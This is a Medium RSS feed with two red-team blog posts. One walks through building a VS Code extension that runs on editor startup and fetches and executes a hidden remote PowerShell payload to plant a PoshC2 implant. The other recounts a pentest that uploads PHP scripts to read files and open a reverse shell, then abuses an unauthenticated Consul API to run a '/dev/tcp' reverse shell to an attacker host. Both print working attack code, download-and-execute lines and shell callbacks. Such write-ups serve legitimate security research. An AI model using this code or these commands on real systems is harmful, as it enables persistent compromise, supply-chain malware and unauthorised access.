<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Charley Célice on Medium]]></title>
        <description><![CDATA[Stories by Charley Célice on Medium]]></description>
        <link>https://medium.com/@charley.celice?source=rss-be8c5581555e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*a0m7iR2MuHUvABThAlOe5Q.png</url>
            <title>Stories by Charley Célice on Medium</title>
            <link>https://medium.com/@charley.celice?source=rss-be8c5581555e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 05:24:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@charley.celice/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Using Visual Studio Code Extensions for Persistence]]></title>
            <link>https://medium.com/secarmalabs/using-visual-studio-code-extensions-for-persistence-a65c940b7ea6?source=rss-be8c5581555e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a65c940b7ea6</guid>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[visual-studio-code]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Charley Célice]]></dc:creator>
            <pubDate>Mon, 13 Jul 2020 13:49:34 GMT</pubDate>
            <atom:updated>2020-07-13T13:49:34.918Z</atom:updated>
            <content:encoded><![CDATA[<p>With Visual Studio Code being <a href="https://insights.stackoverflow.com/survey/2019#development-environments-and-tools">the tool of choice in most development environments</a> (I know, I love it!), it only makes sense to look at leveraging it from an offensive security perspective. This post discusses the basics on how to leverage VS Code extension capabilities to achieve <a href="https://attack.mitre.org/tactics/TA0003/">persistence</a> on a Windows system and provides further thoughts on possible future work.</p><p>The scenario focuses on having compromised a Windows machine that is mainly used as a development environment, and thus likely to have VS Code installed. So let’s dive right into it.</p><h3>Creating the Extension</h3><p>Plenty of articles out there are available that go into various levels of depth on how to create your first VS Code extension, so I’ll keep it simple.</p><p>First, you’ll need Visual Studio Code (obviously!), but also NodeJS and NPM installed on your development machine, available at:</p><ul><li><a href="https://code.visualstudio.com/">https://code.visualstudio.com/</a></li><li><a href="https://nodejs.org/en/download/">https://nodejs.org/en/download/</a></li></ul><p>You’ll then need to use NPM to install <a href="https://yeoman.io/">Yeoman</a> and the <a href="https://www.npmjs.com/package/generator-code">specific generator</a> to build VS Code extensions:</p><pre>$ npm install -g yo</pre><pre>$ npm install -g yo generator-code</pre><p>Once that’s done, you can then generate your first extension project with:</p><pre>$ yo code</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43HnKXe98k7jmM5FdWyg0A.png" /><figcaption>Visual Studio Code Extension Generator</figcaption></figure><p>After going through the initial questions for your project (as shown above), you’ll then be able to access and open your project files within VS Code:</p><pre>$ cd code-persistence<br>$ code .</pre><p>From thereon and for the sake of this article, we’ll focus on the most useful files at hand in the newly created project environment:</p><ul><li>.\package.json</li><li>.\src\extension.ts (or .\src\extension.js if you’ve selected JavaScript)</li></ul><p>Within package.json, the two most interesting sections are:</p><ul><li>activationEvents— The event(s) that will trigger the extension, for instance when VS Code is starting up (more on the various <a href="https://code.visualstudio.com/api/references/activation-events">Activation Events</a> below)</li><li>commands — The command(s) provided to the user, essentially the function called within .\src\extension.ts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X8sBS9xr4NUfx3ofwpcfbw.png" /><figcaption>Default Contents in ‘package.json’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVvb0eFWCSWaB160ysqsxQ.png" /><figcaption>Default Contents in ‘extension.ts’</figcaption></figure><p>As seen above, after we’ve generated the new project skeleton, the activationEvents will be set to onCommand:code-persistence.helloWorld, and the commands to code-persistence.helloWorld with a title of Hello World. This essentially means that once the extension is loaded within VS Code, it will simply wait for the Hello World command to be invoked, which in turn will execute the relevant function within .\src\extension.ts. In this case, showInformationMessage will be called which simply shows a notification message to the user.</p><p>To test this, we can simply press F5 to begin debugging the application. This will open a new VS Code window with our extension loaded. After opening the command palette with CTRL+SHIFT+P, we can run the Hello World command and observe its output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRE1bjUMZzw4sztolSzIyQ.png" /><figcaption>Debugging our Extension and Executing the ‘Hello World’ Command</figcaption></figure><h4>Activation Events</h4><p>Now that we have a simple extension project, let’s dive just a wee bit into the available <a href="https://code.visualstudio.com/api/references/activation-events">Activation Events</a>. Looking at the <a href="https://code.visualstudio.com/api/references/activation-events">VS Code API references</a>, there are several possible events that can be triggered to invoke extension commands:</p><ul><li>onLanguage — Triggered when a file containing code of a specific language (e.g. Rust, Python, etc.) is opened</li><li>onCommand — As I’ve demonstrated above, upon executing a specific command that has been defined</li><li>onDebug — With the two fine-grained onDebugInitialConfigurations and onDebugResolve events, this event is triggered upon starting a debugging session</li><li>workspaceContains — For when a folder that contains a specific file pattern is opened</li><li>onFileSystem — Whenever a file or folder from a specific scheme (e.g. sftp, ssh, etc.) is read</li><li>onView — This event will be triggered when a specific view is expanded (see the <a href="https://code.visualstudio.com/api/extension-guides/tree-view">Tree View API reference</a>)</li><li>onUri — VS Code supports URL handlers (e.g. vscode:// and vscode-insiders://), and this event will be triggered for those extension-specific URIs</li><li>onWebviewPanel — Triggered when a specific webview is restored (see the <a href="https://code.visualstudio.com/api/extension-guides/webview">Webview API reference</a>)</li><li>onCustomEditor — For when VS Code creates a custom editor (see the <a href="https://code.visualstudio.com/api/extension-guides/custom-editors">Custom Editor API reference</a>)</li><li>* — Event triggered upon VS Code starting up</li><li>onStartupFinished — Similar to * except it will trigger with a delay once VS Code has started up</li></ul><p>In the context of this post — which is establishing persistence on a Windows system following an initial foothold — I do see each event having their place in different scenarios. However, for now, and for the sake of simplicity, let’s just focus on executing our extension as VS Code is starting up (*) and see what can be achieved in practice.</p><h3>Editing our Extension to Achieve Persistence</h3><p>As I’ve demonstrated above, in its current state our extension will mainly await for the Hello World command to be invoked before doing anything meaningful. First, let’s modify package.json so that we have: 1) a more meaningful name for our command; and 2) invoke this command straight upon VS Code starting up:</p><pre>&quot;activationEvents&quot;: [<br>    &quot;<strong>*</strong>&quot;<br>],<br>&quot;main&quot;: &quot;./out/extension.js&quot;,<br>&quot;contributes&quot;: {<br>    &quot;commands&quot;: [<br>        {<br>            &quot;command&quot;: &quot;<strong>code-persistence.install</strong>&quot;,<br>            &quot;title&quot;: &quot;<strong>Install Persistence</strong>&quot;<br>        }<br>    ]</pre><p>In bold above are the modifications I made to the original package.json file within the code-persistence project. Next, let’s modify .\src\extension.ts as follows (note I’ve deleted comments, etc. for clarity):</p><pre>import * as vscode from &#39;vscode&#39;;</pre><pre>export function activate(<em>context</em>: <em>vscode</em>.<em>ExtensionContext</em>) {</pre><pre>    let disposable = <em>vscode</em>.<em>commands</em>.registerCommand(&#39;code-persistence.install&#39;, () =&gt; {</pre><pre><em>        vscode</em>.<em>window</em>.showInformationMessage(&#39;This will be run upon VS Code starting up (*)...&#39;);<br>    });</pre><pre><em>    context</em>.subscriptions.push(disposable);<br>    <em>vscode</em>.<em>commands</em>.executeCommand(&#39;code-persistence.install&#39;);<br>}</pre><pre>export function deactivate() {}</pre><p>Similarly to the original code, a notification window will be displayed to the user. However, this will now be done through the code-persistence.install command, which will be invoked upon VS Code starting up. From here, all we need to do is: 1) find a way to execute system commands; 2) leverage this to remotely fetch and execute a malicious script (let’s say a PowerShell <a href="https://github.com/nettitude/PoshC2">PoshC2</a> implant); and 3) package our extension and demonstrate how to install it on our compromised machine that has VS Code available.</p><h4>Executing System Commands</h4><p>Since our extension environment has access to NodeJS libraries, the child_process module (<a href="https://nodejs.org/api/child_process.html">https://nodejs.org/api/child_process.html</a>) is a good candidate to execute shell commands on the local system.</p><p>Here is an example on how this could be achieved:</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let cmd = &#39;<strong>whoami</strong>&#39;;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>err</em>: <em>string</em>, <em>stdout</em>: <em>string</em>, <em>stderr</em>: <em>string</em>) =&gt; {<br>    <strong>console.log(stdout)</strong>;<br>    if (<em>err</em>) {<br>        <em>console</em>.log(err);<br>    }<br>});</pre><p>In the above snippet, we import the child_process library, run the whoami command (which should return whichever user VS Code is running as), log the output within the debug console through console.log(), and add some error handling into the mix. And surely enough, running/debugging our extension logs the output of that command within the VS Code debug console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*6gmCUYY1YLwhzzWn3r8Eqg.png" /><figcaption>Shell Command Execution through NodeJS ‘child_process’</figcaption></figure><p>With that done, we can now look at remotely fetching and executing our PowerShell implant, our first step into installing persistence.</p><h4>Fetch and Execute a PowerShell Script</h4><p>As a first step, let’s expand our extension so rather than running a dummy command it loads and executes a local PowerShell script. Assume the following simple MyScript.ps1:</p><pre>Write-Host &quot;Locked and loaded.&quot;</pre><p>Now let’s modify our extension to reflect the following (note once again I’ve taken the simpler approach and recommend looking into spawn rather than exec in the long run):</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let script = &#39;<strong>C:\\tools\\code\\code-persistence\\MyScript.ps1</strong>&#39;;<br>let <strong>cmd </strong>= &#39;<strong>powershell.exe -ExecutionPolicy Bypass -File &#39; + script</strong>;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>    <strong><em>console</em>.log(<em>stdout</em>);</strong><br>    if (<em>error</em>) {<br>        <em>console</em>.log(<em>error</em>);<br>    }<br>});</pre><p>Upon running our newly modified extension, we get our expected output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*gLlKNmu3az46La71QDxbGA.png" /><figcaption>Local PowerShell Script Execution</figcaption></figure><p>Or we can simply use PowerShell’s web client to remotely fetch and execute our script:</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let script = &#39;<strong>http://&lt;attacker_host&gt;/MyScript.ps1</strong>&#39;;<br>let <strong>cmd </strong>= <strong>`powershell.exe -nop -w hidden -c \&quot;IEX (New-Object Net.Webclient).downloadstring(\&#39;${script}\&#39;)&quot;`</strong>;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>    <strong><em>console</em>.log(<em>stdout</em>);</strong><br>    if (<em>error</em>) {<br>        <em>console</em>.log(<em>error</em>);<br>    }<br>});</pre><p>Alternatively, we can look at leveraging NodeJS’ native http(s) modules to fetch a remote custom implant, for example in environment where PowerShell and/or its web client is more likely to get detected. Here is an example fetching a remote base64-encoded payload; I’ll leave the exercise of expanding this bit up to the reader:</p><pre>var https = require(&#39;https&#39;);</pre><pre>var home = {<br>    host: &#39;&lt;attacker_host&gt;&#39;,<br>    path: &#39;/payload.txt&#39;,<br>    port: 443<br>};</pre><pre>let cb = function(<em>resp</em>: { on: (<em>arg0</em>: <em>string</em>, arg1: (<em>chunk</em>: <em>any</em>) =&gt; <em>void</em>) =&gt; <em>void</em>; }) {<br>    var payload = &#39;&#39;;</pre><pre><em>    resp</em>.on(&#39;data&#39;, function(<em>chunk</em>) {<br>        payload += chunk;<br>    });</pre><pre><em>    resp</em>.on(&#39;end&#39;, function() {<br>        const cp = require(&#39;child_process&#39;);<br>        let cmd = &#39;powershell.exe -exec bypass -Noninteractive -windowstyle hidden -e &#39; + payload;<br>     <br>        cp.exec(cmd, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>            console.log(stdout);<br>            if (<em>error</em>) {<br>               <em>console</em>.log(<em>error</em>);<br>            }<br>         });<br>    });<br>};</pre><pre>https.request(home, cb).end();</pre><h4>Package and Install the Extension</h4><p>To end this section, let’s assume the following final extension, which will establish persistence through a <a href="https://github.com/nettitude/PoshC2">PoshC2</a> implant:</p><pre>import * as vscode from &#39;vscode&#39;;</pre><pre>export function activate(<em>context</em>: <em>vscode</em>.<em>ExtensionContext</em>) {</pre><pre>    let disposable = <em>vscode</em>.<em>commands</em>.registerCommand(&#39;code-persistence.install&#39;, () =&gt; {</pre><pre>        const cp = require(&#39;child_process&#39;);<br>        let cmd = &#39;powershell -exec bypass -Noninteractive -windowstyle hidden -e &lt;redacted&gt;&#39;;</pre><pre>        cp.exec(cmd, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {});<br>    });</pre><pre><em>    vscode</em>.<em>commands</em>.executeCommand(&#39;code-persistence.install&#39;);<br>}</pre><pre>export function deactivate() {}</pre><p>We can package our extension with (note you will need to specify a publisher within package.json as well as edit the default README.md file before you can package your extension:</p><pre>$ vsce package</pre><p>Which will create a vsix file (in this case code-persistence-&lt;version&gt;.vsix). From our compromised host and if VS Code is present, we should then be able to upload our extension and run the following command to install it:</p><pre>$ code --install-extension code-persistence.vsix<br>Installing extensions...<br>Extension &#39;code-persistence-0.0.1.vsix&#39; was successfully installed.</pre><p>In this particular case, once the extension is installed, and the relevant event triggered (in this case whenever VS Code is started), then we should get our implant to call back home:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5pLWSVnPeG1Cn6L5vinFg.png" /><figcaption>PoshC2 Implant on VS Code Startup</figcaption></figure><p>This is what the extension looks like in VS Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*eUAz9bdsCe3raywDPPJqRA.png" /><figcaption>Malicious VS Code Extension Details</figcaption></figure><p>Not super slick at this stage, however, it shouldn’t take an awful amount of effort to make it look decent and blend in-between multiple other extensions.</p><p>And this is what it looks like say in Process Explorer from a detection perspective once the extension is launched:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWTV5jetmUsGVD10vh5AoQ.png" /><figcaption>Process Explorer in Windows Sandbox</figcaption></figure><p>Which is expected since we’re in this case just calling PowerShell from cmd.exe. All in all, this wouldn’t be especially stealthy, and I would hope automated tooling captured such obvious commands. However, this is also what my ‘benign’ environment looks like on a bad day, so I think it’s safe to say that this would blend in quite well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*buDQ1lcTf0NennU2V7nnAA.png" /></figure><p>One of the key things I’ve learned from Red Team experience is situational awareness. Aside from your automated detection mechanisms which may be bypassed in many ways, I think I’ll be likely to use such a technique to persist on a Windows host in certain circumstances if that meant it would blend in well with the rest of the system.</p><h3>Final Thoughts</h3><p>What I’d like to look into as a follow up to this post would be options to directly load and call dynamic libraries, for example using <a href="https://github.com/node-ffi/node-ffi">node-ffi,</a> which would be more current with the prevalence of C# tooling over PowerShell.</p><p>Since there are no particular automated checks in place when publishing an extension to the <a href="https://marketplace.visualstudio.com/vscode">VS Code Marketplace</a>, I’d also like to look into whether there is an additional attack vector that could be used here, for example as part of a spear phishing campaign.</p><p>So stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a65c940b7ea6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/using-visual-studio-code-extensions-for-persistence-a65c940b7ea6">Using Visual Studio Code Extensions for Persistence</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escaping Restricted Shell through Insecure Consul API]]></title>
            <link>https://medium.com/secarmalabs/escaping-restricted-shell-through-insecure-consul-api-d195df2f7b55?source=rss-be8c5581555e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d195df2f7b55</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[consul]]></category>
            <dc:creator><![CDATA[Charley Célice]]></dc:creator>
            <pubDate>Tue, 30 Jun 2020 13:00:29 GMT</pubDate>
            <atom:updated>2020-06-30T13:00:29.150Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31HyNQsuFsA-fbLt8ZHwIA.jpeg" /></figure><p>Escaping jailed or restricted environments comes with its own set of challenges. However, more often than not, there’s going to be a way in.</p><p>In this post, we describe the steps taken to compromise a Red Hat web server through a file upload utility and into a restricted shell environment. We then discuss the techniques used to escape said jail through the insecure configuration of a Consul API.</p><h3>How We Got There</h3><p>Allowing file upload always brings additional risks to an application. Most commonly, for an attacker to attempt to write and execute code on the system.</p><p>The application in scope included a function which allowed authenticated users to upload PHP scripts to certain folders. Whilst the default directory blacklisted dangerous PHP methods such as “system” or “exec”, others didn’t. Thus, it was possible to circumvent mitigation measures in place to gain remote code execution on the host by creating files in other, non-blacklisted directories.</p><p>Firstly, an initial enumeration exercise was performed, where custom PHP scripts were uploaded to list the contents of files and directories, as well as read local files. The following code snippets show how this was achieved:</p><pre>&lt;?php<br>$dir = $_GET[&quot;d&quot;];<br>$f = scandir($dir);<br>print_r($f);<br>?&gt;</pre><pre>&lt;?php<br>echo show_source($_GET[&quot;f&quot;]);<br>?&gt;</pre><p>Once successfully uploaded, it was possible to enumerate the local file system, as shown below:</p><pre>HTTP/1.1 200 OK […] Array <br>( <br>[0] =&gt; . <br>[1] =&gt; .. <br>[2] =&gt; xxx.phph <br>[3] =&gt; xxx.phph <br>[4] =&gt; xxx.php <br>[5] =&gt; xxx.phph <br>[6] =&gt; xxx.phph <br>[7] =&gt; xxx.php <br>[8] =&gt; xxx_xxx.php <br>[10] =&gt; xxx.phph <br>[11] =&gt; xxx.php <br>[12] =&gt; xxx.php <br>[14] =&gt; xxx.phph <br>[15] =&gt; xxx.php <br>[16] =&gt; xxx.php <br>[17] =&gt; xxx.php <br>)</pre><p>We then attempted to execute other PHP functions within this default directory, including “system”, “exec”, “eval” and much more, which would mean the possibility to execute shell commands onto the host. While we could not achieve this within the default directory scripts were uploaded into, it was however possible to write files to other locations, for example, using the following code:</p><pre>&lt;? <br>$file = new SplFileObject($_GET[&#39;f&#39;], &#39;w&#39;); <br>$file-&gt;fwrite(&#39;&lt;?php echo \&#39;Test write\&#39;; ?&gt;&#39;); <br>?&gt;</pre><p>With that in mind, we attempted to create files containing malicious commands within other directories on the host to find non-blacklisted ones. After a few attempts, we found that one specific directory was not blacklisted. Hence, it was possible to directly execute shell commands within this folder. The following code snippet was initially used to create a file within this vulnerable folder, which would then be used to gain remote code execution on the host:</p><pre>&lt;? <br>$file = new SplFileObject(&#39;/xxx-xxx/xxx/xxx/xxx/phpsock.php&#39;, &#39;w&#39;); <br>$file-&gt;fwrite(&#39;&lt;?php $sock=fsockopen(&quot;&lt;attacker_ip&gt;&quot;,80);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;); ?&gt;&#39;); <br>?&gt;</pre><p>The figure below shows the reverse shell being received on our end, along with some commands executed, following execution of the above script:</p><pre>$ sudo nc -lvp 80 <br>listening on [any] 80 ... <br>connect to [x.x.x.x] from xxx [x.x.x.x] 44602 <br>sh: no job control in this shell <br>sh-3.2$ echo /* <br>echo /* <br>/bin /cgi-bin /configs /dev /etc /file_list /hardlink.ini /lib /log /prod_tmp /site_dict /tmp /usr /vhosts <br>sh-3.2$ exit <br>exit <br>exit</pre><p>As can be seen above, we were able to gain unauthorised access to the server and receive a shell. However, and as we will show in the remaining of this post, we had heavily restricted access, due to a specific “chroot” configuration. Only a limited amount of commands, folders, and files was available. The “/proc” directory also was not available which stopped us listing processes altogether.</p><p>To get out of this jail, we attempted a few things. For instance, it was possible to upload statically-compiled binaries that would be executed on the host. For example, several Linux binaries were uploaded, such as “ls”, “chmod”, “netcat”, “nmap”, and others, which greatly helped to enumerate local files, network services, and other hosts within the internal network. This helped demonstrate that even though the isolated environment contained a limited selection of command line utilities, it was still possible to upload additional ones.</p><p>Local system information was enumerated using the “uname” binary, using the method described above. Knowing the different kernel versions, local virtual machines were created with the kernel identified, and potential kernel exploits researched. However, this did not lead to any successful exploitation, as in most cases the kernel was too recent, or access to folders and files outside of the chroot was needed for the exploits to work.</p><p>Local files on the host were reviewed to discover potential vectors of attack and gather any pieces of information that could help in other attacks. This included (amongst other things):</p><ul><li>Searching for SUID/SGID binaries that could be exploited;</li><li>Scheduled tasks;</li><li>Looking for credentials that could be used to log onto other services;</li><li>Weak files and folders permissions or scripts that could be written to and would be executed with various privileges; and</li><li>Review and escape attempts specific to “chroot” (for example as seen in <a href="https://github.com/earthquake/chw00t">https://github.com/earthquake/chw00t</a>).</li></ul><p>Finally, local and remote network services were enumerated. This included routing the traffic from the attacking machine through to the internal network, and enumerating hosts and ports on the target. This was successful in identifying weak permissions on an API that led to command execution outside of the restricted environment, but also on other hosts within the internal network. For this method, the “Consul Agent” API was exploited, which we describe in the next section.</p><h3>Unauthenticated Consul API Remote Code Execution</h3><p>Following exploitation of the uploaded vulnerability described above, a Metasploit (<a href="https://www.metasploit.com/">https://www.metasploit.com</a>) meterpreter shell was uploaded. It then became possible to easily upload and download files, scan the internal network, and setup routes. A route from our testing infrastructure to the target internal network was added through Metasploit via the meterpreter session obtained. Further enumeration then revealed a local HTTPS service running on port 8443. To browse to this service, and gain more insight into its purpose, the consultant used the command access to set up a port forward. With the port forward in place, the consultant was then able to browse to the HTTPS server, as seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*uOeh2F9P8i_O9ompajwH8w.png" /></figure><p>Highlighted above shows the server was running a “Consul Agent” and was consequently a node in a “Consul Cluster”. After reviewing the documentation, we installed Consul CLI client and attempted to communicate with the API. This was successful and meant that we were able to gain further information about the internal structure of the cluster, as well as a better understanding of the underlying infrastructure. Here are the commands that we used along with some redacted output:</p><pre>$ export CONSUL_HTTP_SSL=true <br>$ export CONSUL_HTTP_SSL_VERIFY=false <br>$ ./consul members -http-addr=https://&lt;redacted&gt;:4321 <br>Node Address Status Type Build Protocol DC Segment <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive client 0.7.1 2 yy &lt;default&gt; <br>x.x.x.x:8301 alive client 0.7.1 2 yy &lt;default&gt;<br>[…]</pre><p>The output above shows systems that were part of the Consul cluster. This sort of information is invaluable to an attacker as it provides them with an accurate picture of the network structure, which could be leveraged to target key systems such as databases or, in this case, Consul servers.</p><p>As we were now able to run commands via the CLI to the cluster node, the next step was to attempt to run commands on the nodes, within the execution context assigned to them and potentially escape the isolated jail environment. At first, the “-exec” argument was tried but was found to be disabled. Review of Consul’s documentation however revealed that it was still possible to execute commands by registering services to the node using the API. To do so, the consultant used Burp Suite (<a href="https://portswigger.net/burp">https://portswigger.net/burp</a>) to craft a request to the proxied API. Here is an example of a request we sent:</p><pre>PUT /v1/agent/check/register HTTP/1.1 <br>Host: &lt;REDACTED&gt;:4321 <br>[…] <br>{ <br>&quot;id&quot;: &quot;shell1&quot;, <br>&quot;name&quot;: &quot;shell1&quot;, <br>&quot;script&quot;: &quot;/bin/bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/443 0&gt;&amp;1&quot;, <br>&quot;interval&quot;: &quot;60s&quot;, <br>&quot;timeout&quot;: &quot;5s&quot; <br>}</pre><p>As seen above, the “script” parameter contains the command we wanted to execute. The script was set to establish a reverse shell connecting back to our attacking machine every 60 seconds. Shortly after setting up a listener on our end, the reverse shell connected back, evidencing the successful jail escape and compromise of the server. This can be observed below:</p><pre>$ sudo ncat -nvlp 443 <br>Ncat: Version 7.60 ( <a href="https://nma.org/ncat">https://nma.org/ncat</a> ) <br>Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. <br>Ncat: Listening on :::443 <br>Ncat: Listening on 0.0.0.0:443 <br>Ncat: Connection from &lt;victim_ip&gt;. <br>Ncat: Connection from &lt;victim_ip&gt;:58834. <br>bash: no job control in this shell <br>[consul@&lt;hostname&gt; log]$ hostname <br>hostname <br>&lt;hostname&gt;<br>[consul@&lt;hostname&gt; log]$ id <br>id <br>uid=707(consul) gid=707(consul) groups=707(consul),520(ssl) <br>[consul@&lt;hostname&gt;log]$ whoami <br>whoami <br>consul <br>[consul@&lt;hostname&gt;log]$ uname -a <br>uname -a <br>Linux &lt;hostname&gt; […] 2018 x86_64 x86_64 x86_64 GNU/Linux <br>[consul@&lt;hostname&gt;log]$ cat /etc/passwd <br>cat /etc/passwd <br>root:x:0:0:root:/root:/bin/bash <br>[…]</pre><p>As seen above, our shell connected back but this time, we were out of the restricted shell environment, with standard user privileges, in this case as the “consul” user. From then on, we were able to perform further enumeration and lateral movement.</p><h3>Conclusions</h3><p>We hope this gave ideas to some of you when coming across these technologies. Concerning the Consul API, there is a default configuration which allows anyone who can access the node or route traffic through it to leverage the API to gather information on the cluster or change settings.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d195df2f7b55" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/escaping-restricted-shell-through-insecure-consul-api-d195df2f7b55">Escaping Restricted Shell through Insecure Consul API</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>